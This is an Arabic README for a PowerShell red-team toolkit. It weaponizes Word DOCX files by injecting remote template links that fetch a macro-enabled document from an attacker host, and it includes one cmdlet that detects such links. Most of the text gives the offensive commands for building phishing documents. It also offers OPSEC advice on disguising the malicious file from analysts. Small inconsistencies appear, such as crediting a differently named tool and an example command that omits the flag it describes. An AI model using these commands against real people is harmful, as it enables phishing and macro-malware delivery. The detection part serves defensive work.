
أداة PowerShell للهجمات والدفاع عبر حقن القوالب عن بُعد. تقوم بحقن روابط ضارة في مستندات Word الخاصة بـ Office لأغراض التصيد، مع وحدات تعريف للفرق الزرقاء.
Remote Template Injection Toolkit
RTI-Toolkit هي مجموعة أدوات PowerShell مفتوحة المصدر لهجوم حقن القالب عن بعد (Remote Template Injection). تتضمن هذه المجموعة سكربت PowerShell باسم PS-Templator.ps1 يمكن استخدامه من منظور هجومي ودفاعي على حد سواء.
يوضح الجدول التالي الوحدات الرئيسية (cmdlets) لـ PS-Templator.ps1:
| Cmdlet | Description | Prespective |
|---|---|---|
| Invoke-Template | ينفذ روابط القوالب عن بعد داخل قوالب Word الافتراضية | هجومي |
| Invoke-Regular | ينفذ روابط القوالب عن بعد داخل مستندات Word العادية بدون قالب | هجومي |
| Invoke-Identify | يحدد روابط القوالب عن بعد داخل مستندات Word بصيغة docx مع/بدون قالب | دفاعي |
⚠️ PS-Templator.ps1 يدعم فقط ملفات DOCX.
ℹ️ تمت الإشارة إلى هذه الأداة من قبل المعهد الوطني للمعايير والتقنية (NIST) في قاعدة بيانات الثغرات الوطنية (NVD) من خلال CVE-2025-65318 و CVE-2025-65319.
شكر خاص لأصدقائي @Papadope9 و Stavros Gkounis (a.k.a purpl3ph03n1x)، الذين قدموا مساعدة لا تقدر بثمن خلال مرحلة الاختبار التجريبي للأداة.
تم استلهام هذه الأداة خلال تقييم اختبار اختراق أحمر (Red Teaming Assessment) مع @S1ckB0y1337 قبل عدة سنوات.
تم إنشاء Supernova بـ ❤️ بواسطة @nickvourd.
حقن القالب عن بعد (RTI) في سياق Microsoft Office يشير إلى نوع محدد من الثغرات الأمنية التي يمكن استغلالها من خلال قوالب ضارة في مستندات Office (مثل Word, Excel, PowerPoint).
على سبيل المثال، في ملف DOCX، يتم تخزين المحتوى بتنسيق XML داخل الأرشيف، وقد تشير بعض ملفات XML هذه إلى موارد خارجية أو قوالب. يمكن للمهاجمين بالفعل التلاعب بملفات XML هذه لإدراج روابط ضارة أو محتوى يمكن أن يستغل الثغرات أو يخدع المستخدمين.
هذا هجوم يعتمد على الماكرو (Macro-Based attack).
لتحميل PS-Templator.ps1 كوحدة في الذاكرة، قم بتشغيل الأمر التالي:
Import-Module .\PS-Templator.ps1
ℹ️ يعمل PS-Templator.ps1 دون الحاجة إلى تثبيت أي تبعيات إضافية.
ℹ️ يعمل PS-Templator.ps1 كوحدة PowerShell.
ℹ️ تم اختبار PS-Templator.ps1 على جهاز Windows 10 مع Office 2019 Professional Plus.
Invoke-Template هو cmdlet ينفذ روابط القوالب عن بعد داخل قوالب Word الافتراضية.
بافتراض أن لديك قالب Word افتراضي، مثل أحدهم:

محفوظ باسم، على سبيل المثال، 'Name.docx':

إذا استخدمت cmdlet Invoke-Template يمكنك إدراج رابط ضار داخل هذا الملف docx:
⚠️ قبل تشغيل Invoke-Template، تأكد من حفظ المستند وإغلاقه (إنهاء عمليته).
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx
النتيجة:

كما ترى، تحتفظ وحدة Invoke-Template بنسخة احتياطية من المستند الأصلي وتوفر المسار الكامل للمستند الضار.
من منظور تصحيح الأخطاء، إذا قمت بتحويل الملف الضار docx إلى أرشيف zip وذهبت إلى /word/_rels/settings.xml.rels، يمكنك رؤية الرابط الضار:

Invoke-Regular هو cmdlet ينفذ روابط القوالب عن بعد داخل مستندات Word العادية بدون قوالب.
بافتراض أن لديك مستند Word عادي بدون قالب، مثل هذا:

محفوظ باسم، على سبيل المثال، 'Doc1.docx':

إذا استخدمت cmdlet Invoke-Regular يمكنك إدراج رابط ضار داخل هذا الملف docx:
⚠️ قبل تشغيل Invoke-Regular، تأكد من حفظ المستند وإغلاقه (إنهاء عمليته).
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx
النتيجة:

كما ترى، تحتفظ وحدة Invoke-Regular بنسخة احتياطية من المستند الأصلي وتوفر المسار الكامل للمستند الضار.
من منظور تصحيح الأخطاء، إذا قمت بتحويل الملف الضار docx إلى أرشيف zip وذهبت إلى /word/_rels/settings.xml.rels، يمكنك رؤية الرابط الضار:

من منظور OPSEC، يمكنك استخدام -TemplateName بالتزامن مع وحدة Invoke-Regular. هذا سيجعل المستند الضار يبدو أكثر شرعية إذا حاول شخص ما تحليله.
إليك مثال:
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx
النتيجة:

من منظور تصحيح الأخطاء، إذا قمت بتحويل الملف الضار docx إلى أرشيف zip وذهبت إلى /docProps/app.xml، يمكنك رؤية اسم القالب المزيف:

Invoke-Identify هو cmdlet يحدد روابط القوالب عن بعد داخل مستندات Word بصيغة docx مع/بدون قالب.
بافتراض أن لديك مستند Word ضار:
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt
النتيجة:

بافتراض أن لديك مستند Word غير ضار:
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt
النتيجة:
